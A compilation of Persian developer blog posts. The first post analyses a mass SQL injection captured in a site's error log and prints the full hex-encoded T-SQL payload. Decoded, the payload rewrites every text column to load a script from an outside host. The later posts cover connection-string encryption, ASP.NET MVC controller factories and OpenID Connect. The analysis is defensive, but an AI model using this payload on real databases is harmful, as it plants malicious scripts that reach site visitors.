مطالب
حمله چینی‌ها به سایت‌های ایرانی !


چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com


خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
print CAST(0x444... AS CHAR(4000))

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

.....

عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)


IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197


مطالب
رمزنگاری کانکشن استرینگ در ASP.Net

ذخیره کردن رشته اتصالی به دیتابیس، به صورت یک رشته مشخص در کدهای برنامه، کاری است مزموم. زیرا پس از هر بار تغییر این مورد، نیاز خواهد بود تا تمامی سورس‌ها تغییر کنند و اگر از حالت web application استفاده کرده باشید، مجبور خواهید شد یکبار دیگر برنامه را کامپایل و دایرکتوری bin روی سرور را به روز کنید. به همین جهت، استاندارد برنامه‌های ASP.Net این است که این رشته اتصالی را در فایل web.config ذخیره کنیم تا با هر بار تغییر پارامترهای مختلف آن (مثلا تغییر نام سرور، یا تعویض ماهیانه پسوردها)، مجبور به کامپایل مجدد برنامه نشویم. شبیه به همین مورد در برنامه‌های PHP هم رایج است و عموما این مشخصات در فایل config.php و یا با اسامی شبیه به این صورت می‌گیرد.
در ASP.Net 1.x قسمت خاصی برای کانکشن استرینگ وجود نداشت اما از ASP.Net 2 به بعد ، قسمت ویژه‌ای مخصوص این کار در فایل web.config در نظر گرفته شده است.
خیلی هم خوب! اما این تجربه تلخ کاری را (که یکبار برای من رخ داد) هم همواره در نظر داشته باشید:
امکان خوانده شدن محتوای فایل کانفیگ، توسط همسایه شما در همان هاست اشتراکی که الان از آن دارید استفاده می‌کنید. عموما هاست‌های اینترنتی اشتراکی هستند و نه dedicated و نه فقط مختص به شما. از یک سرور برای سرویس دهی به 100 ها سایت استفاده می‌شود. یکبار در یکی از سایت‌ها دیدم که فایل machine.config سرور را هم محض نمونه خوانده بودند چه برسد به فایل متنی کانفیگ شما! یا تصور کنید که وب سرور هک شود. عموما اس کیوال سرور بر روی سرور دیگری قرار دارد. به همین جهت رمزنگاری این رشته باز هم ضریب امنیت بیشتری را به همراه خواهد داشت.
به همین منظور رمزنگاری قسمت کانکشن استرینگ فایل وب کانفیگ الزامی است، چون آن‌هایی که به دنبال اطلاعاتی اینگونه هستند دقیقا می‌دانند باید به کجا مراجعه کنند.

راه حل‌ها:

الف) از وب کانفیگ برای این‌کار استفاده نکنید. یک فایل class library‌ درست کنید (یک dll مجزا) و ارجاعی از این فایل را به پروژه خود اضافه کنید و از رشته اتصالی قرار گرفته در آن استفاده کنید. این فایل را هم می‌توان با روش‌های obfuscation محافظت کرد تا امنیت اطلاعات داخل آن‌را تا حد قابل قبولی بالا برد. همچنین می‌توان برای این فایل کتابخانه، امضای دیجیتال درنظر گرفت. زیرا امضای دیجیتال سبب می‌شود تا تغییر فایل dll رشته اتصالی، با یک کپی و paste معمولی قابل انجام نباشد (تمامی dll ها و اسمبلی‌های دیگری که ارجاعی از آن‌را در خود دارند باید یکبار دیگر هم کامپایل و به سرور منتقل شوند). این یک نوع اطمینان خاطر است اما در بلند مدت شاید تکرار اینکار خسته کننده باشد.

ب)استفاده از روش استاندارد رمزنگاری قسمت‌های مختلف کانکشن استرینگ فایل web.config
برای مشاهده نحوه انجام اینکار با برنامه نویسی به این مقاله مراجعه نمائید.
مزیت: نیازی به کد نویسی برای رمزگشایی و استفاده از آن نیست و اینکار به صورت خودکار توسط ASP.Net انجام می‌شود.
ایراد:فایل حاصل قابل انتقال نیست. چون رمزنگاری بر اساس کلیدهای منحصربفرد سرور شما ایجاد می‌شوند، این فایل از یک سرور به سرور دیگر قابل انتقال و استفاده نخواهد بود. یعنی اگر بر روی کامپیوتر برنامه نویسی شما این‌کار صورت گرفت، برنامه در سرور کار نخواهد کرد. البته شاید ایراد آنچنانی نباشد و فقط باید یکبار دیگر روی هاست نیز این کار را تکرار کرد. اما باید درنظر داشت که همسایه محترم شما نیز می‌تواند بر روی همان هاست به سادگی فایل شما را رمزگشایی کند! بنابراین نباید اصلا به این روش در هاست‌های اشتراکی دل خوش کرد.

ج)بکارگیری روش‌های غیراستاندارد رمزنگاری
منظور از غیراستاندارد، حالت‌های دیگر استاندارد رمزنگاری و رمزگشایی نسبت به روش استاندارد ارائه شده توسط مایکروسافت است (که همه از آن مطلع هستند). به شخصه از این روش در هاست‌ها استفاده می‌کنم. (مثلا، البته با کمی تغییر و پیچ و تاب بیشتر)
الگوریتم‌های رمزنگاری و رمزگشایی در یک فایل dll به برنامه اضافه می‌شوند (بنابراین این فایل قرار نیست تغییر کند). رشته رمزنگاری شده در فایل web.config قرار می‌گیرد. بدیهی است در هر بار اتصال به دیتابیس این رشته باید رمزگشایی شود اما سربار آن بسیار کم است و اصلا مشهود نیست. در هر حال این هزینه‌ای است که باید پرداخت شود. بدست آوردن ساده کانکشن استرینگ یعنی امکان پاک کردن سریع کل اطلاعات شما.

د)اگر سرور dedicated است حتما از روش windows authentication استفاده کنید
برای مثال یک سرور dedicated مخصوص کار ویژه‌ای تهیه کرده اید یا در شبکه اینترانت یک شرکت برنامه شما نصب شده است.
روش اعتبار سنجی از نوع ویندوزی برای اتصال به اس کیوال سرور نسبت به حالت sql server authentication امن تر است، زیرا نیازی نیست تا در وب کانفیگ نام کاربری یا پسوردی را مشخص نمائید و همچنین در این حالت پسوردها در شبکه منتقل نمی‌شوند (در حالت sql server authentication اینطور نیست). اما عموما در هاست‌های اشتراکی برای ساده تر کردن کار ، از این روش استفاده نمی‌کنند.
بنابراین در اینجا حتی اگر شخصی به رشته اتصالی شما دسترسی پیدا کند، کار خاصی را نمی‌تواند انجام دهد چون هیچگونه نام کاربری یا پسوردی در آن لحاظ نشده است.
در این روش به صورت پیش فرض از اکانت ASP.Net استفاده می‌شود. یعنی تمام برنامه‌ها محدود به یک اکانت خواهند شد.
برای تغییر این مورد دو کار را می‌توان انجام داد : استفاده از impersonation یا مطالعه قسمت بعد (ه)
توصیه: از روش impersonation به دلیل اینکه باید نام کاربری و کلمه عبور را باز هم به صورت واضحی ذکر نمود اجتناب کنید.

ه)ایجاد application pool مجزا به ازای هر برنامه ASP.Net در ویندوزهای سرور
Application pool که برای اولین بار در ویندوز سرور 2003 معرفی شده جهت ایزوله کردن برنامه‌های ASP.Net بکار برده می‌شود. به این صورت می‌شود برای هر pool یک اکانت ویندوزی مجزا تعریف کرد. حال می‌توان به این اکانت در اس کیوال سرور دسترسی داد. به این صورت برنامه‌های مختلف تحت یک اکانت واحد (یوزر asp.net) کار نکرده (می‌توانند هم کار کنند، اما امکان تعریف identity جدید برای کاربر آن در IIS‌ وجود دارد) و ضریب امنیتی بالاتری را تجربه خواهید کرد (در تکمیل روش (د))


مطالب
سفارشی کردن Controller factory توکار و فرصتی برای تزریق وابستگی‌ها به کنترلر
در مقاله‌ی قبلی ( + ) به این لحاظ که بهترین راه نشان دادن نحوه‌ی کارکرد Controller Factory ایجاد یک نمونه‌ی سفارشی بود، آن رابررسی کردیم و برای اکثریت برنامه‌ها و سناریوها، کلاس توکار Controller Factory به نام DefaultControllerFactory کفایت می‌کند.
پس از وصول یک درخواست از طریق سیستم مسیریابی، factory پیش فرض (DefaultControllerFactory) به بررسی rout data پرداخته تا خاصیت Controller آن را بیابد و سعی در پیدا کردن کلاسی در برنامه خواهد داشت که مشخصات ذیل را دارا باشد:
  1. دارای سطح دسترسی public باشد.
  2. Abstract نباشد.
  3. حاوی پارامتر generic نباشد.
  4. نام کلاس دارای پسوند Controller باشد.
  5. پیاده سازی کننده اینترفیس IContoller باشد.
کلاس DefaultControllerFactory در صورت یافتن کلاسی مطابق قواعد فوق و مناسب درخواست رسیده، وهله‌ای از آن را به کمک Controller Activator ایجاد می‌کند. می‌بینید که با برپایی چند قاعده‌ی ساده،  factory پیش فرض، نیاز به ثبت کنترلرها را به منظور معرفی و داشتن لیستی برای بررسی از طرف برنامه نویس (مثلا درج نام کلاس‌های کنترلر در یک فایل پیکربندی)، مرتفع ساخته است.
اگر بخواهید به فضاهای نام خاصی برای یافتن آنها توسط factory پیش فرض، برتری قائل شوید، باید در متد Application_Start فایل global.asax.cs مانند ذیل عمل نمایید:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Routing;
using ControllerExtensibility.Infrastructure;
namespace ControllerExtensibility
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            WebApiConfig.Register(GlobalConfiguration.Configuration);
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            ControllerBuilder.Current.DefaultNamespaces.Add("MyControllerNamespace");
            ControllerBuilder.Current.DefaultNamespaces.Add("MyProject.*");
        }
    }
}

سفارشی کردن وهله سازی کنترلرها توسط DefaultControllerFactory

مهمترین دلیلی که نیاز داریم factory پیش فرض را سفارشی کنیم، استفاده از تزریق وابستگی‌ها (DI) به کنترلرهاست. راه‌های متعددی برای این کار وجود دارند که انتخاب بهترین روش بسته به چگونگی بکارگیری DI در برنامه شماست:
الف) تزریق وابستگی به کنترلر با ایجاد یک controller activator سفارشی

کدهای اینترفیس  IControllerActivator  مطابق ذیل است:
namespace System.Web.Mvc
{
    using System.Web.Routing;
    public interface IControllerActivator
    {
        IController Create(RequestContext requestContext, Type controllerType);
    }
}
این اینترفیس حاوی متدی به نام Create است که شیء RequestContext به آن پاس داده می‌شود و یک Type که مشخص می‌کند کدام کنترلر باید وهله سازی شود. در کدهای ذیل در قسمت (return (IController)ObjectFactory.GetInstance(controllerType  فرض بر این است که در پروژه برای تزریق وابستگی، StructureMapFactory  را به کار گرفته‌ایم و سیم کشی‌های لازم قبلا صورت گرفته است. چنانچه با StructureMap  آشنایی ندارید به این مقاله سایت (استفاده از StructureMap به عنوان یک IoC Container) مراجعه نمایید.
using ControllerExtensibility.Controllers;
using System;
using System.Web.Mvc;
using System.Web.Routing;
namespace ControllerExtensibility.Infrastructure
{
    public class StructureMapControllerActivator : IControllerActivator
    {
        public IController Create(RequestContext requestContext,
        Type controllerType)
        {
            return (IController)ObjectFactory.GetInstance(controllerType);
        }
    }
}

در شکل فوق منظور از CustomControllerActivator یک پیاده سازی از اینترفیس IControllerActivator مانند کلاس StructureMapControllerActivator است.
برای استفاده از این activator سفارشی نیاز داریم وهله‌ای از آن را به عنوان پارامتر به سازنده‌ی کلاس DefaultControllerFactory ارسال کنیم و نتیجه را در متد Application_Start فایل global.asax.cs ثبت کنیم.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Routing;
using ControllerExtensibility.Infrastructure;
namespace ControllerExtensibility
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            WebApiConfig.Register(GlobalConfiguration.Configuration);
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            ControllerBuilder.Current.SetControllerFactory(new
            DefaultControllerFactory(new StructureMapControllerActivator()));
        }
    }
}

ب) تحریف و بازنویسی متدهای کلاس DefaultControllerFactory
 می‌توان متدهای کلاس مشتق شده‌ی از DefaultControllerFactory را override کرد و برای اهدافی نظیر DI از آن بهره جست. جدول ذیل سه متدی که می‌توان با تحریف آنها به مقصود رسید، توصیف شده‌اند:

 متد  نوع بازگشتی توضیحات
  CreateController   IController  پیاده سازی کننده‌ی متد Createontroller از اینترفیس IControllerFactory است و به صورت پیش فرض متد GetControllerType را جهت تعیین نوعی که باید وهله سازی شود، صدا می‌زند و سپس کنترلر وهله سازی شده را به متد GetControllerInstance ارسال می‌کند.
  GetControllerType   Type  وظیفه‌ی نگاشت درخواست رسیده را به Controller type عهده دار است.
GetControllerInstance IController وظیفه ایجاد وهله‌ای از نوع مشخص شده را عهده دار است.

شیوه‌ی تحریف متد GetControllerInstance 
public class StructureMapControllerFactory : DefaultControllerFactory
    {
        protected override IController GetControllerInstance(RequestContext requestContext, Type controllerType)
        {
            return ObjectFactory.GetInstance(controllerType) as Controller;
        }
    }
شیوه‌ی ثبت در فایل global.asax.cs و در متد Application_start :
 ControllerBuilder.Current.SetControllerFactory(new StructureMapControllerFactory());

نمونه‌ای عملی آن‌را در مقاله‌ی (EF Code First #12) و یا دوره‌ی «بررسی مفاهیم معکوس سازی وابستگی‌ها و ابزارهای مرتبط با آن» می‌توانید بررسی کنید.
مطالب
امن سازی برنامه‌های ASP.NET Core توسط IdentityServer 4x - قسمت سوم - بررسی مفاهیم OpenID Connect
پیش از نصب و راه اندازی IdentityServer، نیاز است با یک سری از مفاهیم اساسی پروتکل OpenID Connect، مانند Identity token ،Client types ،Flow و Endpoints، آشنا شویم تا بتوانیم از امکانات این IDP ویژه استفاده و آن‌ها را تنظیم کنیم. بدون آشنایی با این مفاهیم، اتصال برنامه‌ای که در قسمت قبل تدارک دیدیم به IdentityServer میسر نیست.


پروتکل OpenID Connect چگونه کار می‌کند؟

در انتهای قسمت اول این سری، پروتکل OpenID Connect معرفی شد. در ادامه جزئیات بیشتری از این پروتکل را بررسی می‌کنیم.
هر برنامه‌ی کلاینت متصل به WebAPI مثال قسمت قبل، نیاز به دانستن هویت کاربر وارد شده‌ی به آن‌را دارد. در اینجا به این برنامه‌ی کلاینت، اصطلاحا relying party هم گفته می‌شود؛ از این جهت که این برنامه‌ی کلاینت، به برنامه‌ی Identity provider و یا به اختصار IDP، جهت دریافت نتیجه‌ی اعتبارسنجی کاربر، وابسته‌است. برنامه‌ی کلاینت یک درخواست Authentication را به سمت IDP ارسال می‌کند. به این ترتیب کاربر به صورت موقت از برنامه‌ی جاری خارج شده و به برنامه‌ی IDP منتقل می‌شود. در برنامه‌ی IDP است که کاربر مشخص می‌کند کیست؛ برای مثال با ارائه‌ی نام کاربری و کلمه‌ی عبور. پس از این مرحله، در صورت تائید هویت کاربر، برنامه‌ی IDP یک Identity Token را تولید و امضاء می‌کند. سپس برنامه‌ی IDP کاربر را مجددا به برنامه‌ی کلاینت اصلی هدایت می‌کند و Identity Token را در اختیار آن کلاینت قرار می‌دهد. در اینجا برنامه‌ی کلاینت، این توکن هویت را دریافت و اعتبارسنجی می‌کند. اگر این اعتبارسنجی با موفقیت انجام شود، اکنون کاربر تعیین اعتبار شده و هویت او جهت استفاده‌ی از قسمت‌های مختلف برنامه مشخص می‌شود. در برنامه‌های ASP.NET Core، این توکن هویت، پردازش و بر اساس آن یکسری Claims تولید می‌شوند که در اغلب موارد به صورت یک کوکی رمزنگاری شده در سمت کلاینت ذخیره می‌شوند.
به این ترتیب مرورگر با هر درخواستی از سمت کاربر، این کوکی را به صورت خودکار به سمت برنامه‌ی کلاینت ارسال می‌کند و از طریق آن، هویت کاربر بدون نیاز به مراجعه‌ی مجدد به IDP، استخراج و استفاده می‌شود.


مراحل انتقال کاربر به IDP، صدور توکن هویت، بازگشت مجدد به برنامه‌ی کلاینت، اعتبارسنجی، استخراج Claims و ذخیره‌ی آن به صورت یک کوکی رمزنگاری شده را در تصویر فوق ملاحظه می‌کنید. بنابراین در حین کار با یک IDP، مرحله‌ی لاگین به سیستم، دیگر در برنامه یا برنامه‌های کلاینت قرار ندارد. در اینجا دو فلش به سمت IDP و سپس به سمت کلاینت را بخاطر بسپارید. در ادامه از آن‌ها برای توضیح Flow و Endpoints استفاده خواهیم کرد.

البته OpenID Connect برای کار همزمان با انواع و اقسام برنامه‌های کلاینت طراحی شده‌است؛ مانند برنامه‌ی سمت سرور MVC، برنامه‌های سمت کلاینت جاوا اسکریپتی مانند Angular و برنامه‌های موبایل. برای این منظور باید در IDP نوع کلاینت و یکسری از تنظیمات مرتبط با آن‌را مشخص کرد.


کلاینت‌های عمومی و محرمانه

زمانیکه قرار است با یک IDP کار کنیم، این IDP باید بتواند بین یک برنامه‌ی حسابداری و یک برنامه‌ی پرسنلی که از آن برای احراز هویت استفاده می‌کنند، تفاوت قائل شود و آن‌ها را شناسایی کند.

- کلاینت محرمانه (Confidential Client)
هر کلاینت با یک client-id و یک client-secret شناخته می‌شود. کلاینتی که بتواند محرمانگی این اطلاعات را حفظ کند، کلاینت محرمانه نامیده می‌شود.
در اینجا هر کاربر، اطلاعات هویت خود را در IDP وارد می‌کند. اما اطلاعات تعیین هویت کلاینت‌ها در سمت کلاینت‌ها ذخیره می‌شوند. برای مثال برنامه‌های وب ASP.NET Core می‌توانند هویت کلاینت خود را به نحو امنی در سمت سرور ذخیره کنند و این اطلاعات، قابل دسترسی توسط کاربران آن برنامه نیستند.

- کلاینت عمومی (Public Client)
این نوع کلاینت‌ها نمی‌توانند محرمانگی هویت خود را حفظ و تضمین کنند؛ مانند برنامه‌های جاوا اسکریپتی Angular و یا برنامه‌های موبایل که بر روی وسایل الکترونیکی کاربران اجرا می‌شوند. در این حالت هرچقدر هم سعی کنیم، چون کاربران به اصل این برنامه‌ها دسترسی دارند، نمی‌توان محرمانگی اطلاعات ذخیره شده‌ی در آن‌ها را تضمین کرد.


مفهوم OpenID Connect Endpoints

در تصویر ابتدای بحث، دو فلش را مشاهده می‌کنید؛ برای مثال چگونه می‌توان به Identity token دسترسی یافت (Authentication) و همچنین زمانیکه صحبت از Authorization می‌شود، چگونه می‌توان Access tokens را دریافت کرد. اینکه این مراحله چگونه کار می‌کنند، توسط Flow مشخص می‌شود. Flow مشخص می‌کند که چگونه باید توکن‌ها از سمت IDP به سمت کلاینت بازگشت داده شوند. بسته به نوع کلاینت‌ها که در مورد آن‌ها بحث شد و نیازمندی‌های برنامه، باید از Flow مناسبی استفاده کرد.
هر Flow با Endpoint متفاوتی ارتباط برقرار می‌کند. این Endpointها در حقیقت جایگزین راه‌حل‌های خانگی تولید برنامه‌های IDP هستند.
- در ابتدا یک Authorization Endpoint وجود دارد که در سطح IDP عمل می‌کند. این مورد همان انتهای فلش اول ارسال درخواست به سمت IDP است؛ در تصویر ابتدای بحث. کار این Endpoint، بازگشت Identity token جهت انجام عملیات Authentication و بازگشت Access token برای تکمیل عملیات Authorization است. این عملیات نیز توسط Redirection کلاینت انجام می‌شود (هدایت کاربر به سمت برنامه‌ی IDP، دریافت توکن‌ها و سپس هدایت مجدد به سمت برنامه‌ی کلاینت اصلی).

نکته‌ی مهم: استفاده‌ی از TLS و یا همان پروتکل HTTPS برای کار با OpenID Connect Endpoints اجباری است و بدون آن نمی‌توانید با این سیستم کار کنید. به عبارتی در اینجا ترافیک بین کلاینت و IDP، همواره باید رمزنگاری شده باشد.
البته مزیت کار با ASP.NET Core 2.1، یکپارچگی بهتر و پیش‌فرض آن با پروتکل HTTPS است؛ تا حدی که مثال پیش‌فرض local آن به همراه یک مجوز موقتی SSL نصب شده‌ی توسط SDK آن کار می‌کند.

- پس از Authorization Endpoint که در مورد آن توضیح داده شد، یک Redirection Endpoint وجود دارد. در ابتدای کار، کلاینت با یک Redirect به سمت IDP هدایت می‌شود و پس از احراز هویت، مجددا کاربر به سمت کلاینت Redirect خواهد شد. به آدرسی که IDP کاربر را به سمت کلاینت Redirect می‌کند، Redirection Endpoint می‌گویند و در سطح کلاینت تعریف می‌شود. برنامه‌ی IDP، اطلاعات تولیدی خود را مانند انواع توکن‌ها، به سمت این Endpoint که در سمت کلاینت قرار دارد، ارسال می‌کند.

- پس از آن یک Token Endpoint نیز وجود دارد که در سطح IDP تعریف می‌شود. این Endpoint، آدرسی است در سمت IDP، که برنامه‌ی کلاینت می‌تواند با برنامه نویسی، توکن‌هایی را از آن درخواست کند. این درخواست عموما از نوع HTTP Post بدون Redirection است.


مفهوم OpenID Connect Flow


- اولین Flow موجود، Authorization Code Flow است. کار آن بازگشت کدهای Authorization از Authorization Endpoint و همچنین توکن‌ها از طریق Token Endpoint می‌باشد. در ایجا منظور از «کدهای Authorization»، اطلاعات دسترسی با طول عمر کوتاه است. هدف Authorization Code این است که مشخص کند، کاربری که به IDP لاگین کرده‌است، همانی است که Flow را از طریق برنامه‌ی وب کلاینت، شروع کرده‌است. انتخاب این نوع Flow، برای کلاینت‌های محرمانه مناسب است. در این حالت می‌توان مباحث Refresh token و داشتن توکن‌هایی با طول عمر بالا را نیز پیاده سازی کرد.

- Implicit Flow، تنها توکن‌های تولیدی را توسط Authorization Endpoint بازگشت می‌دهد و در اینجا خبری از بازگشت «کدهای Authorization» نیست. بنابراین از Token Endpoint استفاده نمی‌کند. این نوع Flow، برای کلاینت‌های عمومی مناسب است. در اینجا کار client authentication انجام نمی‌شود؛ از این جهت که کلاینت‌های عمومی، مناسب ذخیره سازی client-secret نیستند. به همین جهت در اینجا امکان دسترسی به Refresh token و توکن‌هایی با طول عمر بالا میسر نیست. این نوع از Flow، ممکن است توسط کلاینت‌های محرمانه نیز استفاده شود.

- Hybrid Flow، تعدادی از توکن‌ها را توسط Authorization Endpoint و تعدادی دیگر را توسط Token Endpoint بازگشت می‌دهد؛ بنابراین ترکیبی از دو Flow قبلی است. انتخاب این نوع Flow، برای کلاینت‌های محرمانه مناسب است. در این حالت می‌توان مباحث Refresh token و داشتن توکن‌هایی با طول عمر بالا را نیز پیاده سازی کرد. از این نوع Flow ممکن است برای native mobile apps نیز استفاده شود.

آگاهی از انواع Flowها، انتخاب نوع صحیح آن‌ها را میسر می‌کند که در نتیجه منتهی به مشکلات امنیتی نخواهند شد. برای مثال Hybrid Flow توسط پشتیبانی از Refresh token امکان تمدید توکن جاری و بالا بردن طول عمر آن‌را دارد و این طول عمر بالا بهتر است به کلاینت‌های اعتبارسنجی شده ارائه شود. برای اعتبارسنجی یک کلاینت، نیاز به client-secret داریم و برای مثال برنامه‌های جاوا اسکریپتی نمی‌توانند محل مناسبی برای ذخیره سازی client-secret باشند؛ چون از نوع کلاینت‌های عمومی محسوب می‌شوند. بنابراین نباید از Hybrid Flow برای برنامه‌های Angular استفاده کرد. هرچند انتخاب این مساله صرفا به شما بر می‌گردد و چیزی نمی‌تواند مانع آن شود. برای مثال می‌توان Hybrid Flow را با برنامه‌های Angular هم بکار برد؛ هرچند ایده‌ی خوبی نیست.


انتخاب OpenID Connect Flow مناسب برای یک برنامه‌ی کلاینت از نوع ASP.NET Core

برنامه‌های ASP.NET Core، از نوع کلاینت‌های محرمانه به‌شمار می‌روند. بنابراین در اینجا می‌توان تمام Flowهای یاد شده را انتخاب کرد. در برنامه‌های سمت سرور وب، به ویژگی به روز رسانی توکن نیاز است. بنابراین باید دسترسی به Refresh token را نیز داشت که توسط Implicit Flow پشتیبانی نمی‌شود. به همین جهت از Implicit Flow در اینجا استفاده نمی‌کنیم. پیش از ارائه‌ی OpenID Connect، تنها Flow مورد استفاده‌ی در برنامه‌های سمت سرور وب، همان Authorization Code Flow بود. در این Flow تمام توکن‌ها توسط Token Endpoint بازگشت داده می‌شوند. اما Hybrid Flow نسبت به آن این مزیت‌ها را دارد:
- ابتدا اجازه می‌دهد تا Identity token را از IDP دریافت کنیم. سپس می‌توان آن‌را بدون دریافت توکن دسترسی، تعیین اعتبار کرد.
- در ادامه OpenID Connect این Identity token را به یک توکن دسترسی، متصل می‌کند.
به همین جهت OpenID Connect نسبت به OAuth 2 ارجحیت بیشتری پیدا می‌کند.

پس از آشنایی با این مقدمات، در قسمت بعدی، کار نصب و راه اندازی IdentityServer را انجام خواهیم داد.
نظرات اشتراک‌ها
امنیت در MVC توسط Fluent Security
با سلام میشه لطفا بیشتر در مورد Fluent Security یا روش‌های دیگر امنیت در MVC توضیح بدید....
اشتراک‌ها
وضعیت فعلی دنیای JavaScript

کوچ از روش‌های Imperative به Declarative . کوچ از jQuery به سمت فریم ورک‌هایی مانند Angular

وضعیت فعلی دنیای JavaScript
اشتراک‌ها
مالیات SPA
SPA سخت است؛ کار هر کسی نیست. دانش فنی آن در حال حاضر نسبت به سایر روش‌های توسعه‌ی برنامه‌های وب کمتر است و ...
مالیات SPA